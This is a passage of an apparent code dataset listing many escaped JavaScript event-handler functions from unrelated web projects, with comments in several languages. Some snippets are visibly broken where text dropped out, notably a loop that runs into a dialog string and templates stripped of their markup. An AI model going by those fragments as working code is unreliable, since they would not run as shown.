document.getElementById(\\\"patient!@!local\\\").classList.remove('rotate-fall');\\n }\\n fetch(`/${event.id}?username=${id}`, {\\n method: 'POST'\\n }).then(function (response) {\\n response.json().then(function (json) {\\n\\n responseString = response.status + \\\" - \\\" + response.statusText;\\n if (response.ok)\\n return toastr[\\\"success\\\"](json.text, responseString);\\n\\n else if (response.status != 401)\\n return toastr[\\\"warning\\\"](json.text, responseString);\\n\\n else\\n throw new Error(responseString);\\n });\\n })\\n .catch(function (error) {\\n toastr.error(error, {\\n timeOut: 10000\\n });\\n });\\n });\\n}\",\n \"function theClick() {\\r\\n console.log('inicia')\\r\\n dataNodes()\\r\\n dataElements()\\r\\n backEnd()\\r\\n}\",\n \"function cargarEvento(){\\n\\t\\n\\tif(document.readyState==\\\"interactive\\\"){\\n\\t\\tdocument.getElementById(\\\"id_enviar\\\").addEventListener(\\\"click\\\",peticionAlta,false);\\n\\t}\\n}\",\n \"clickHandler(evt) {\\n if (evt.target.classList.contains('fa-check')) {\\n gameApp.eventHandler(evt);\\n }\\n\\n if (evt.target.classList.contains('assignment') || evt.target.parentElement.classList.contains('assignment')) {\\n gameApp.activateContract(evt);\\n }\\n\\n if (evt.target.classList.contains('loc')) {\\n gameApp.addLoc();\\n }\\n\\n if (evt.target.classList.contains('nav-button')) {\\n let elem = evt.target;\\n gameApp.gameView.changeMenue(elem);\\n }\\n }\",\n \"function iniciar(){ \\r\\n\\tvar botonBuscar = document.getElementById( \\\"botonBuscar\\\" ); \\r\\n\\tbotonBuscar.addEventListener( \\\"click\\\" , botonPresionado, false ); \\r\\n} // fin de la función iniciar \",\n \"function verReservasClick(opcion){\\r\\n let container;\\r\\n let container2;\\r\\n let almacenados;\\r\\n \\r\\n switch (opcion)\\r\\n {\\r\\n \\r\\n case \\\"crucero\\\": \\r\\n //// Cruceros \\r\\n container = document.querySelector('#crucerosReservados');\\r\\n removeAllChildNodes(container);\\r\\n almacenados = JSON.parse(sessionStorage.getItem(\\\"pasajesCruceros\\\"));\\r\\n \\r\\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\\r\\n \\r\\n for (const objeto of almacenados)\\r\\n {\\r\\n contenedor2 = document.createElement(\\\"div\\\");\\r\\n contenedor2.innerHTML = `${objeto.nombre}
\\r\\n Reservado por: ${objeto.reservadoPor}
\\r\\n Cantidad de personas: ${objeto.cantidad}
\\r\\n $ ${objeto.precio}
`;\\r\\n document.body.appendChild(contenedor2);\\r\\n document.getElementById(\\\"crucerosReservados\\\").appendChild(contenedor2);\\r\\n }\\r\\n break;\\r\\n \\r\\n \\r\\n case \\\"aereo\\\":\\r\\n ///// Aereos\\r\\n container = document.querySelector('#aereosReservados');\\r\\n removeAllChildNodes(container);\\r\\n almacenados = JSON.parse(sessionStorage.getItem(\\\"pasajesAereos\\\"));\\r\\n \\r\\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\\r\\n \\r\\n for (const objeto of almacenados)\\r\\n {\\r\\n contenedor2 = document.createElement(\\\"div\\\");\\r\\n contenedor2.innerHTML = `${objeto.nombre}
\\r\\n Reservado por: ${objeto.reservadoPor}
\\r\\n Cantidad de personas: ${objeto.cantidad}
\\r\\n $ ${objeto.precio}
`;\\r\\n document.body.appendChild(contenedor2);\\r\\n document.getElementById(\\\"aereosReservados\\\").appendChild(contenedor2);\\r\\n }\\r\\n break;\\r\\n \\r\\n case \\\"auto\\\": \\r\\n //// AUTOS\\r\\n \\r\\n container = document.querySelector('#autosReservados');\\r\\n removeAllChildNodes(container);\\r\\n almacenados = JSON.parse(sessionStorage.getItem(\\\"autosReservados\\\"));\\r\\n \\r\\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\\r\\n \\r\\n for (const objeto of almacenados)\\r\\n {\\r\\n contenedor2 = document.createElement(\\\"div\\\");\\r\\n contenedor2.innerHTML = `${objeto.nombre}
\\r\\n Reservado por: ${objeto.reservadoPor}
\\r\\n Cantidad de días: ${objeto.cantidad}
\\r\\n ${objeto.seguro}
\\r\\n $ ${objeto.precio}
`;\\r\\n document.body.appendChild(contenedor2);\\r\\n document.getElementById(\\\"autosReservados\\\").appendChild(contenedor2);\\r\\n }\\r\\n \\r\\n break;\\r\\n \\r\\n default:\\r\\n break;\\r\\n }\\r\\n \\r\\n }\",\n \"function constroiEventos(){}\",\n \"function cambioDePagina(xhttp) {\\r\\n let paginaAnterior = document.getElementById(\\\"paginaAnterior\\\");\\r\\n\\r\\n let paginaSiguiente = document.getElementById(\\\"paginaSiguiente\\\");\\r\\n\\r\\n paginaAnterior.addEventListener(\\\"click\\\", function() {\\r\\n if (xhttp.info.prev) {\\r\\n traerPersonaje(xhttp.info.prev, insertarCartas);\\r\\n\\r\\n } else {\\r\\n alert(\\\"No hay paginas antes de esta\\\")\\r\\n }\\r\\n });\\r\\n paginaSiguiente.addEventListener(\\\"click\\\", function() {\\r\\n if (xhttp.info.next) {\\r\\n traerPersonaje(xhttp.info.next, insertarCartas);\\r\\n\\r\\n } else {\\r\\n alert(\\\"No hay paginas despues de esta\\\")\\r\\n }\\r\\n\\r\\n });\\r\\n}\",\n \"function onyeshaYaliyomo(kiungo, e, rangi, id) {\\n e.preventDefault();\\n let viungo, yaliyomo;\\n viungo = document.getElementsByClassName(\\\"kiungo\\\");\\n yaliyomo = document.getElementsByClassName(\\\"yaliyomo\\\");\\n\\n // ficha 'yaliyomo' zote kabla ya yote\\n for (let index = 0; index < yaliyomo.length; index++) {\\n const element = yaliyomo[index];\\n element.style.display = \\\"none\\\";\\n }\\n\\n // Ondoa darasa la 'hai' kwenye viungo vyote\\n for (let index = 0; index < viungo.length; index++) {\\n const kiungo = viungo[index];\\n kiungo.className = kiungo.className.replace(\\\" hai\\\", \\\"\\\");\\n kiungo.style.backgroundColor = \\\"transparent\\\";\\n }\\n\\n // Onyesha kiungo hai na Yaliyomo yake\\n kiungo.className += \\\" hai\\\";\\n kiungo.style.backgroundColor = rangi;\\n let yaliyomoHai = document.getElementById(id);\\n let seksheni = document.getElementById(\\\"tabu-kurasa-nzima\\\");\\n yaliyomoHai.style.display = \\\"block\\\";\\n // yaliyomoHai.style.backgroundColor = rangi;\\n seksheni.style.backgroundColor = rangi;\\n}\",\n \"function addEventsEntrega(){\\r\\n let btnsEntrega = document.querySelectorAll(\\\".entrega\\\"); \\r\\n for(let i=0; i vex.defaultOptions.className = 'vex-theme-wireframe'; vex.dialog.open({ message: \\\" + \\\"'Estás a punto de ELIMINAR esta Actividad Complementaria ¿Deseas Continuar?', input: \\\" + '\\\"\\\" + '\\\",' + 'buttons: [$.extend({}, vex.dialog.buttons.YES, {text: \\\"Continuar\\\"}), $.extend({}, vex.dialog.buttons.NO, {text: \\\"Cancelar\\\"})] }); ';\\r\\n console.log(cadena);\\r\\n $(\\\"#sub_contenido\\\").html(cadena);\\r\\n /*\\r\\n url = \\\"view/Administradores/itz_eliminar_actividad\\\";\\r\\n tipo_consulta = \\\"eliminar_actividad\\\";\\r\\n objParametros = {\\r\\n 'actividad' : actividad,\\r\\n 'tipo_consulta' : tipo_consulta\\r\\n };*/\\r\\n break;\\r\\n }//END CASE\\r\\n }//END SWITCH\\r\\n \\r\\n //Se pone un gif mientras se realizan las operaciones AJAX\\r\\n crear_loading_subcontenido();\\r\\n //$(\\\"#sub_contenido\\\").html(\\\"
Espere por favor... \\\");\\r\\n \\r\\n $.ajax({\\r\\n type: 'POST',\\r\\n url: url,//Obtenida de la que está a nivel de función\\r\\n data: objParametros,//Obtenida de la que está a nivel de función\\r\\n success: function(respuesta){//Respuesta es lo que pone PHP en pantalla, prácticamente es traer al PHP si la consulta fue successfuly\\r\\n $(\\\"#contenido\\\").html(respuesta);\\r\\n }//END SUCCESS\\r\\n });//END AJAX\\r\\n}//END FUNCTION\",\n \"function acceder(usuario){\\n console.log(`2. ${usuario} Ahora puedes acceder`)\\n entrar();\\n}\",\n \"function clickHandler(e) {\\n // cleanup the event handlers\\n yesbutton.removeEventListener('click', clickHandler);\\n nobutton.removeEventListener('click', clickHandler);\\n\\n // Hide the dialog\\n screen.classList.remove('visible');\\n\\n // Call the appropriate callback, if it is defined\\n if (e.target === yesbutton) {\\n if (yescallback)\\n yescallback();\\n }\\n else {\\n if (nocallback)\\n nocallback();\\n }\\n\\n // And if there are pending permission requests, trigger the next one\\n if (pending.length > 0) {\\n var request = pending.shift();\\n window.setTimeout(function() {\\n requestPermission(request.message,\\n request.yescallback,\\n request.nocallback);\\n }, 0);\\n }\\n }\",\n \"function gps_permitirConsulta() {\\n if (!consultando) {\\n gps_pausarAutoConsultaAuto();\\n gps_bloquearComponente(\\\"btn_consulta\\\", false);\\n } else {\\n gps_bloquearComponente(\\\"btn_consulta\\\", true);\\n }\\n}\",\n \"function clickBotonMeGusta(selectorDivMeGusta, listID, itemID) {\\n var meGusta = false;\\n var textoBotonLike = $(selectorDivMeGusta + \\\" .botonLike\\\").text();\\n if (textoBotonLike != \\\"\\\") {\\n if (textoBotonLike == \\\"Me gusta\\\") { meGusta = true; }\\n\\n SP.SOD.executeFunc(\\\"sp.js\\\", \\\"SP.ClientContext\\\", function () { \\n var aContextObject = new SP.ClientContext(_spPageContextInfo.webServerRelativeUrl);\\n SP.SOD.executeFunc('reputation.js', 'Microsoft.Office.Server.ReputationModel.Reputation', function () {\\n Microsoft.Office.Server.ReputationModel.Reputation.setLike(aContextObject, listID.substring(1, 37), itemID, meGusta);\\n\\n aContextObject.executeQueryAsync(\\n function () {\\n obtenerCantidadMeGustaItem(selectorDivMeGusta, listID, itemID);\\n }, function (sender, args) {\\n });\\n });\\n });\\n }\\n}\",\n \"clickCheckOutGreenTea() {\\n this.clickElem(this.btnCheckOutGreenTea);\\n }\",\n \"function suivant(){\\n if(active==\\\"idee\\\"){\\n reunion_open();\\n }else if (active==\\\"reunion\\\") {\\n travail_open();\\n }else if (active==\\\"travail\\\") {\\n deploiement_open();\\n }\\n }\",\n \"function miniaturaClick(elemento) {\\n var miniatura = 0;\\n //esto determinara que parametro mandar a la funcion controles();\\n for (var i = 0; i < cantidadElementos; i++) {\\n if (elemento == posicionesMiniaturas[i]) {\\n miniatura = i;\\n }\\n }\\n //aqui se le pasa a controles(); el numero de veces que se moveran las imagenes asi como la dirección (derecha o izquierda)\\n var cantidad = 0;\\n if (elementoActivo < miniatura) {\\n for (var i = elementoActivo; elementoActivo < miniatura; i++) {\\n cantidad = cantidad + 1;\\n controles(\\\"derechaSlider\\\", cantidad, \\\"click\\\");\\n }\\n } else {\\n for (var i = elementoActivo; miniatura < elementoActivo ; i++) {\\n cantidad = cantidad + 1;\\n controles(\\\"izquierdaSlider\\\", cantidad, \\\"click\\\");\\n }\\n }\\n}\",\n \"function eventsAction() {\\n // Despliega la seccion de detalle de información del proyecto\\n $('.projectInformation')\\n .unbind('click')\\n .on('click', function () {\\n $('.invoice__section-finder').css({ top: '-100%' });\\n $('.projectfinder').removeClass('open');\\n\\n let rotate = $(this).attr('class').indexOf('rotate180');\\n if (rotate >= 0) {\\n $('.invoice__section-details').css({\\n top: '-100%',\\n bottom: '100%',\\n });\\n $(this).removeClass('rotate180');\\n } else {\\n $('.invoice__section-details').css({\\n top: '32px',\\n bottom: '0px',\\n });\\n $(this).addClass('rotate180');\\n }\\n });\\n\\n // Despliega la sección de seleccion de proyecto y cliente\\n $('.projectfinder')\\n .unbind('click')\\n .on('click', function () {\\n $('.invoice__section-details').css({\\n top: '-100%',\\n bottom: '100%',\\n });\\n $('.projectInformation').removeClass('rotate180');\\n\\n let open = $(this).attr('class').indexOf('open');\\n if (open >= 0) {\\n $('.invoice__section-finder').css({ top: '-100%' });\\n $(this).removeClass('open');\\n } else {\\n $('.invoice__section-finder').css({ top: '32px' });\\n $(this).addClass('open');\\n }\\n });\\n\\n // Despliega y contrae las columnas de viaje y prueba\\n $('.showColumns')\\n .unbind('click')\\n .on('click', function () {\\n let rotate = $(this).attr('class').indexOf('rotate180');\\n viewStatus = rotate >= 0 ? 'E' : 'C';\\n expandCollapseSection();\\n });\\n\\n // Despliega y contrae el menu de opciones de secciones\\n $('.invoice_controlPanel .addSection')\\n .unbind('click')\\n .on('click', function () {\\n $('.menu-sections').slideDown('slow');\\n $('.menu-sections').on('mouseleave', function () {\\n $(this).slideUp('slow');\\n sectionShowHide();\\n });\\n });\\n\\n // muestra en la cotización la seccion seleccionada\\n $('.menu-sections ul li')\\n .unbind('click')\\n .on('click', function () {\\n let item = $(this).attr('data-option');\\n glbSec = $(this).attr('data-option');\\n $(this).hide();\\n\\n $(`#SC${item}`).show();\\n });\\n\\n // Despliega y contrae el listado de projectos\\n $('.invoice_controlPanel .toImport')\\n .unbind('click')\\n .on('click', function () {\\n let pos = $(this).offset();\\n $('.import-sections')\\n .slideDown('slow')\\n .css({ top: '30px', left: pos.left + 'px' })\\n .on('mouseleave', function () {\\n $(this).slideUp('slow');\\n });\\n\\n fillProjectsAttached();\\n });\\n\\n // Despliega la lista de productos para agregar a la cotización\\n $('.invoice__box-table .invoice_button')\\n .unbind('click')\\n .on('click', function () {\\n let item = $(this).parents('tbody').attr('id');\\n glbSec = item.substring(3,2); // jjr\\n showListProducts(item);\\n });\\n \\n // Elimina la sección de la cotización\\n $('.removeSection')\\n .unbind('click')\\n .on('click', function () {\\n let id = $(this);\\n let section = id.parents('tbody');\\n section.hide().find('tr.budgetRow').remove();\\n sectionShowHide();\\n });\\n\\n // Guarda version actual\\n $('.version__button .toSaveBudget')\\n .unbind('click')\\n .on('click', function () {\\n let boton = $(this).html();\\n let nRows = $(\\n '.invoice__box-table table tbody tr.budgetRow'\\n ).length;\\n if (nRows > 0) {\\n let pjtId = $('.version_current').attr('data-project');\\n glbpjtid=pjtId;\\n let verId = $('.version_current').attr('data-version');\\n let discount = parseFloat($('#insuDesctoPrc').text()) / 100;\\n\\n if (verId != undefined){\\n modalLoading('S');\\n let par = `\\n [{\\n \\\"pjtId\\\" : \\\"${pjtId}\\\",\\n \\\"verId\\\" : \\\"${verId}\\\",\\n \\\"discount\\\" : \\\"${discount}\\\",\\n \\\"action\\\" : \\\"${interfase}\\\"\\n }]`;\\n console.log('SaveBudget',par);\\n var pagina = 'ProjectPlans/SaveBudget';\\n var tipo = 'html';\\n var selector = putsaveBudget;\\n fillField(pagina, par, tipo, selector);\\n } else{\\n alert('No tienes una version creada, ' + \\n 'debes crear en el modulo de cotizaciones');\\n }\\n }\\n });\\n\\n // Guarda nueva version del presupuesto\\n $('.version__button .toSaveBudgetAs')\\n .unbind('click')\\n .on('click', function () {\\n let boton = $(this).html();\\n let nRows = $(\\n '.invoice__box-table table tbody tr.budgetRow'\\n ).length;\\n if (nRows > 0) {\\n let pjtId = $('.version_current').attr('data-project');\\n glbpjtid=pjtId;\\n // let verCurr = $('.sidebar__versions .version__list ul li:first').attr('data-code');\\n let verCurr = lastVersionFinder();\\n let vr = parseInt(verCurr.substring(1, 10));\\n\\n let verNext = 'R' + refil(vr + 1, 4);\\n let discount = parseFloat($('#insuDesctoPrc').text()) / 100;\\n let lastmov = moment().format(\\\"YYYY-MM-DD HH:mm:ss\\\"); //agregado por jjr\\n //console.log('FECHA- ', lastmov);\\n if (vr != undefined){ //agregado por jjr\\n modalLoading('S');\\n let par = `\\n [{\\n \\\"pjtId\\\" : \\\"${pjtId}\\\",\\n \\\"verCode\\\" : \\\"${verNext}\\\",\\n \\\"discount\\\" : \\\"${discount}\\\",\\n \\\"lastmov\\\" : \\\"${lastmov}\\\"\\n }]`;\\n\\n var pagina = 'ProjectPlans/SaveBudgetAs';\\n var tipo = 'html';\\n var selector = putSaveBudgetAs;\\n fillField(pagina, par, tipo, selector);\\n } else{\\n alert('No tienes una version creada, ' + \\n 'debes crear en el modulo de cotizaciones');\\n }\\n }\\n });\\n\\n // Edita los datos del proyecto\\n $('#btnEditProject')\\n .unbind('click')\\n .on('click', function () {\\n let pjtId = $('.projectInformation').attr('data-project');\\n editProject(pjtId);\\n });\\n\\n // Agrega nueva cotización\\n $('.toSave')\\n .unbind('click')\\n .on('click', function () {\\n let pjtId = $('.version_current').attr('data-project');\\n let verId = $('.version_current').attr('data-version');\\n promoteProject(pjtId, verId);\\n });\\n // Imprime la cotización en pantalla\\n $('.toPrint')\\n .unbind('click')\\n .on('click', function () {\\n let verId = $('.version_current').attr('data-version');\\n printBudget(verId);\\n });\\n\\n // Busca los elementos que coincidan con lo escrito el input de cliente y poyecto\\n $('.inputSearch')\\n .unbind('keyup')\\n .on('keyup', function () {\\n let id = $(this);\\n let obj = id.parents('.finder__box').attr('id');\\n let txt = id.val().toUpperCase();\\n sel_items(txt, obj);\\n });\\n\\n $('.cleanInput')\\n .unbind('click')\\n .on('click', function () {\\n let id = $(this).parents('.finder__box').children('.invoiceInput');\\n id.val('');\\n id.trigger('keyup');\\n });\\n\\n // Limpiar la pantalla\\n $('#newQuote')\\n .unbind('click')\\n .on('click', function () {\\n window.location = 'ProjectDetails';\\n });\\n\\n // Abre el modal de comentarios\\n $('.sidebar__comments .toComment')\\n .unbind('click')\\n .on('click', function () {\\n showModalComments();\\n });\\n\\n expandCollapseSection();\\n}\",\n \"function ClickAbrir() {\\n var nome = ValorSelecionado(Dom('select-personagens'));\\n if (nome == '--') {\\n Mensagem('Nome \\\"--\\\" não é válido.');\\n return;\\n }\\n var eh_local = false;\\n if (nome.indexOf('local_') == 0) {\\n eh_local = true;\\n nome = nome.substr(6);\\n } else {\\n nome = nome.substr(5);\\n }\\n var handler = {\\n nome: nome,\\n f: function(dado) {\\n if (nome in dado) {\\n gEntradas = JSON.parse(dado[nome]);\\n CorrigePericias();\\n AtualizaGeralSemLerEntradas();\\n SelecionaValor('--', Dom('select-personagens'));\\n Mensagem(Traduz('Personagem') + ' \\\"' + nome + '\\\" ' + Traduz('carregado com sucesso.'));\\n } else {\\n Mensagem(Traduz('Não encontrei personagem com nome') + ' \\\"' + nome + '\\\"');\\n }\\n DesabilitaOverlay();\\n },\\n };\\n HabilitaOverlay();\\n AbreDoArmazem(nome, eh_local, handler.f);\\n}\",\n \"function iniciar(){\\n\\t\\n\\tvar btnOkAlerta = document.getElementById(\\\"okalerta\\\");\\n\\tvar btnWarning = document.getElementById(\\\"okwarning\\\");\\n\\tvar btnSucess = document.getElementById(\\\"oksucess\\\");\\n\\n\\tbtnOkAlerta.addEventListener(\\\"click\\\", function(e){\\n\\t\\te.target.parentNode.parentNode.classList.remove(\\\"active\\\");\\n\\t}, false);\\n\\tbtnWarning.addEventListener(\\\"click\\\", function(e){\\n\\t\\te.target.parentNode.parentNode.classList.remove(\\\"active\\\");\\n\\t}, false);\\n\\tbtnSucess.addEventListener(\\\"click\\\", function(e){\\n\\t\\t\\te.target.parentNode.parentNode.classList.remove(\\\"active\\\");\\n\\t}, false);\\n\\n\\tvar btnEnviar = document.getElementById(\\\"enviar\\\");\\n\\tbtnEnviar.addEventListener(\\\"click\\\", procesarRecarga, false);\\n}\",\n \"function voltarEtapa3() {\\n msgTratamentoEtapa4.innerHTML = \\\"\\\";\\n //recebendo H3 e setando nela o texto com o nome do cliente\\n var tituloDaEtapa = document.querySelector(\\\"#tituloDaEtapa\\\");\\n tituloDaEtapa.textContent = \\\"3º Etapa - Colaborador\\\";\\n\\n document.getElementById('selecionarPacotes').style.display = 'none'; //desabilita a etapa 4\\n document.getElementById('selecionarFuncionarios').style.display = ''; //habilita a etapa 3\\n }\",\n \"function iniciar(){\\n\\t\\t\\tdocument.getElementById(\\\"enviar\\\").addEventListener('click',validar,false);\\n\\t\\t}\",\n \"function habilitarEntradas(){\\n //evento del movimiento del mouse\\n document.addEventListener('mousemove',function(evt){\\n raton.x=evt.pageX-canvas.offsetLeft - 6;\\n raton.y=evt.pageY-canvas.offsetTop - 28;\\n },false);\\n\\n //evento del click del mouse\\n document.addEventListener('mouseup', function(evt){\\n ultimaliberacion=evt.which;\\n },false);\\n //evento del soltar el click del mouse \\n canvas.addEventListener('mousedown',function(evt){\\n evt.preventDefault();\\n ultinaPresion=evt.which;\\n },false);\\n}\",\n \"function checkJawabanUntukuser(e){\\n\\t//hapus tombol cek berhasilan\\n\\tcekKeberhasilan.classList.add('d-none');\\n\\t//tampilkan tombol loading\\n\\tbtn_loading.classList.add('d-block');\\n\\t//menunggu 3 detik\\n\\tsetTimeout(function(){\\n\\t//tarik kembali jendela browser\\n\\twindow.scrollTo(0,0);\\n\\t//cek jawaban ketika ada jawaban yang di pilih salah \\n\\tselainPilihanbenar.forEach(function(jawabanSoalketikaSalah){\\n\\t//jika jawaban ada yang salah tampilkan info kesalahan\\n\\tif(jawabanSoalketikaSalah.checked){\\n\\t//berikan info dan pengertian jawaban pada user\\n\\tinfo_jawaban.forEach(function(tampilkanInfo){\\n\\ttampilkanInfo.classList.add('d-block');\\n\\t});\\n\\t//berikan info kesalahan kepada user\\n\\tinfo_salah.classList.add('d-block');\\n\\t\\t}\\n});\\n\\t\\t\\n\\t//cek jawaban ketika benar\\n\\tjawaban.forEach(function(jawabanSoal){\\n\\t//jika jawaban benar semua tampilkan info\\n\\tif(jawabanSoal.checked){\\n\\t//berikan info dan pengertian jawaban pada user\\n\\tinfo_jawaban.forEach(function(tampilkanInfo){\\n\\ttampilkanInfo.classList.add('d-block');\\n\\t});\\n\\t//berikan info benar kepada user\\n\\tinfo_benar.classList.add('d-block');\\n\\t//jika selain ada jawaban yang salah\\n\\t }else if(jawabanSoal.checked || jawabanSoal.checked == false){\\n\\t //hapus info benar kepada user dan berikan kesalahan jawaban salah\\n\\tinfo_benar.classList.remove('d-block');\\n\\t }\\t\\n\\t });\\n\\t//hilangkan tombol loading\\n\\tbtn_loading.classList.remove('d-block');\\n\\t}, 3000);\\n}\",\n \"function ClickGerarResumo() {\\n AtualizaGeral(); // garante o preenchimento do personagem com tudo que ta na planilha.\\n var input = Dom(\\\"resumo-personagem-2\\\");\\n input.value = GeraResumo();\\n input.focus();\\n input.select();\\n}\",\n \"function template_eventosFavoritos() {\\n\\t$(\\\".btnBotones.estrella\\\").unbind();\\n\\t$(\\\".btnBotones.estrella\\\").each(function(){\\n\\t\\tvar elemento = $(this);\\n\\t\\t\\n\\t\\t$(this).on({\\n\\t\\t\\tclick: function() {\\n\\t\\t\\t\\tvar tempUrl = \\\"\\\";\\n\\t\\t\\t\\tvar datos;\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (typeof elemento.attr(\\\"data-inmueble\\\") !== 'undefined') {\\n\\t\\t\\t\\t\\ttempUrl = \\\"lib_php/updFavoritoInmueble.php\\\";\\n\\t\\t\\t\\t\\tdatos = {\\n\\t\\t\\t\\t\\t\\tid: elemento.attr(\\\"data-id\\\"),\\n\\t\\t\\t\\t\\t\\tinmueble: elemento.attr(\\\"data-inmueble\\\")\\n\\t\\t\\t\\t\\t};\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\ttempUrl = \\\"lib_php/updFavoritoDesarrollo.php\\\";\\n\\t\\t\\t\\t\\tdatos = {\\n\\t\\t\\t\\t\\t\\tid: elemento.attr(\\\"data-id\\\"),\\n\\t\\t\\t\\t\\t\\tdesarrollo: elemento.attr(\\\"data-desarrollo\\\")\\n\\t\\t\\t\\t\\t};\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t$.ajax({\\n\\t\\t\\t\\t\\turl: tempUrl,\\n\\t\\t\\t\\t\\ttype: \\\"POST\\\",\\n\\t\\t\\t\\t\\tdataType: \\\"json\\\",\\n\\t\\t\\t\\t\\tdata: datos\\n\\t\\t\\t\\t}).always(function(respuesta_json){\\n\\t\\t\\t\\t\\tif (respuesta_json.isExito == 1) {\\n\\t\\t\\t\\t\\t\\tif (parseInt(respuesta_json.id) == 0)\\n\\t\\t\\t\\t\\t\\t\\telemento.removeClass(\\\"activo\\\");\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\telemento.addClass(\\\"activo\\\");\\n\\t\\t\\t\\t\\t\\telemento.attr(\\\"data-id\\\", respuesta_json.id);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\t\\t$(\\\"#template_alertPersonalizado td\\\").text(\\\"Inicia sesión o regístrate para agregar tus inmuebles/desarrollos favoritos.\\\");\\n\\t\\t\\t\\t\\t\\ttemplate_alertPersonalizado();\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t});\\n\\t\\t\\t}\\n\\t\\t});\\n\\t});\\n}\",\n \"function acceder(){\\r\\n limpiarMensajesError()//Limpio todos los mensajes de error cada vez que corro la funcion\\r\\n let nombreUsuario = document.querySelector(\\\"#txtUsuario\\\").value ;\\r\\n let clave = document.querySelector(\\\"#txtClave\\\").value;\\r\\n let acceso = comprobarAcceso (nombreUsuario, clave);\\r\\n let perfil = \\\"\\\"; //variable para capturar perfil del usuario ingresado\\r\\n let i = 0;\\r\\n while(i < usuarios.length){\\r\\n const element = usuarios[i].nombreUsuario.toLowerCase();\\r\\n if(element === nombreUsuario.toLowerCase()){\\r\\n perfil = usuarios[i].perfil;\\r\\n usuarioLoggeado = usuarios[i].nombreUsuario;\\r\\n }\\r\\n i++\\r\\n }\\r\\n //Cuando acceso es true \\r\\n if(acceso){\\r\\n if(perfil === \\\"alumno\\\"){\\r\\n alumnoIngreso();\\r\\n }else if(perfil === \\\"docente\\\"){\\r\\n docenteIngreso();\\r\\n }\\r\\n }\\r\\n}\",\n \"function handleClick() {\\n Swal.fire({\\n title: '¡Atencion!',\\n text: '¿ Esta seguro que desea continuar ?',\\n icon: 'info',\\n confirmButtonText: 'Si',\\n confirmButtonColor: '#00afe1',\\n cancelButtonText: 'Cancelar',\\n showCancelButton: true,\\n allowEnterKey: true,\\n allowEscapeKey: false,\\n allowOutsideClick: false,\\n stopKeydownPropagation: true\\n }).then((result) => {\\n if (result.isConfirmed) {\\n Swal.fire({\\n icon: 'success',\\n title: 'Gracias por confiar en Glavic!',\\n text: 'Estas a un paso de finalizar tu pedido. Te pedimos que valides tus datos en el siguiente formulario para confirmar tu pedido.',\\n confirmButtonText: 'Ok',\\n confirmButtonColor: '#00afe1',\\n });\\n } else if (result.isDenied) {\\n Swal.fire({\\n icon: 'error',\\n title: 'Ups!',\\n text: 'Algo no salio como esperabamos, vuelva a intentar la operacion',\\n timer: 1500\\n });\\n }\\n })\\n }\",\n \"function activarHerramientaPerfil() {\\n console.log(\\\"Activar herramienta perfil\\\");\\n\\n crearYCargarCapaLineaPerfil();\\n activarControlDibujo();\\n\\n\\n}\",\n \"function ejecutaAccion(elemt, type, proyect ){\\n\\tactividadPrevia = true;\\n\\tborradoMultiple = false;\\n\\tcambiandoCategoria = false;\\n\\t\\n\\tif(!$(\\\"#tipoIdentificacion\\\").length){\\n\\t\\t if( $(elemt).closest(\\\"div\\\").text().indexOf(\\\"Frente\\\") != (-1)) {\\n\\t\\t\\t\\t$(\\\".cred_image:eq(0) input.custumStlFileUploadPreview\\\").trigger(\\\"click\\\");\\n\\t\\t\\t\\t//$(\\\".cred_image:eq(0)\\\").addClass(\\\"opacity\\\"); \\n\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t if( $(elemt).closest(\\\"div\\\").text().indexOf(\\\"Reverso\\\") != (-1)) {\\n\\t\\t\\t\\t$(\\\".cred_image:eq(1) input.custumStlFileUploadPreview\\\").trigger(\\\"click\\\");\\n\\t\\t\\t\\t//$(\\\".cred_image:eq(1)\\\").addClass(\\\"opacity\\\");\\n\\t\\t\\t} \\n\\t\\t if( $(elemt).closest(\\\"div\\\").text().indexOf(\\\"Pasaporte\\\") != (-1)) {\\n\\t\\t\\t\\t console.log($(elemt).closest(\\\"div\\\").text());\\n\\t\\t\\t\\t$(\\\".cred_image:eq(2) input.custumStlFileUploadPreview\\\").trigger(\\\"click\\\");\\n\\t\\t\\t\\t//$(\\\".cred_image:eq(2)\\\").addClass(\\\"opacity\\\");\\n\\t\\t } \\n\\t}\\n\\t\\n \\n if($(elemt).closest(\\\"form\\\").find(\\\"select\\\").attr(\\\"id\\\") != \\\"type_loan\\\"){\\n \\t$(elemt).closest(\\\"form\\\").find(\\\"select\\\").val(type);\\n \\t$(elemt).closest(\\\"form\\\").find(\\\"select\\\").change();\\n \\t$(elemt).closest(\\\"form\\\").find(\\\"select\\\").blur();\\n \\t$(elemt).closest(\\\"form\\\").find(\\\".custumStlFileUploadPreview input\\\").trigger(\\\"click\\\");\\n }\\n if($(elemt).closest(\\\"form\\\").find(\\\"select\\\").attr(\\\"id\\\") == \\\"type_loan\\\" ){\\n \\tcambiarArchivo(type, \\\"#file_compIncome\\\", \\\"#rubroIngresos\\\");\\t\\n }\\n \\n if($(elemt).closest(\\\"#listCredFm2\\\").length ){\\n \\tconsole.log(\\\"ya entro a tipoIdentificacion\\\");\\n \\t cambiarArchivo(type, \\\"#file_credIdentificacion\\\", \\\"#rubroTipoIdentificacion\\\");\\n \\t//$(element).closest(\\\"frm_loan\\\").find(\\\".btn_comprobante[tipodoc='\\\"+type+\\\"']\\\");\\n }\\n\\n}\",\n \"function _ventanaPlanCuentas718(e) {\\n\\tif (e.type == \\\"keydown\\\" && e.which == 119 || e.type == 'click') {\\n\\t\\t_ventanaDatos({\\n\\t\\t\\ttitulo: \\\"VENTANA CUENTA MAYOR\\\",\\n\\t\\t\\tcolumnas: [\\\"LLAVE_MAE\\\", \\\"NOMBRE_MAE\\\"],\\n\\t\\t\\tdata: $_planCuentas718,\\n\\t\\t\\tcallback_esc: () => { validarCtaTercero718() },\\n\\t\\t\\tcallback: (data) => {\\n\\t\\t\\t\\tlet caja = e.currentTarget.id;\\n\\t\\t\\t\\tif (caja == 'ctaingrTercer_718') 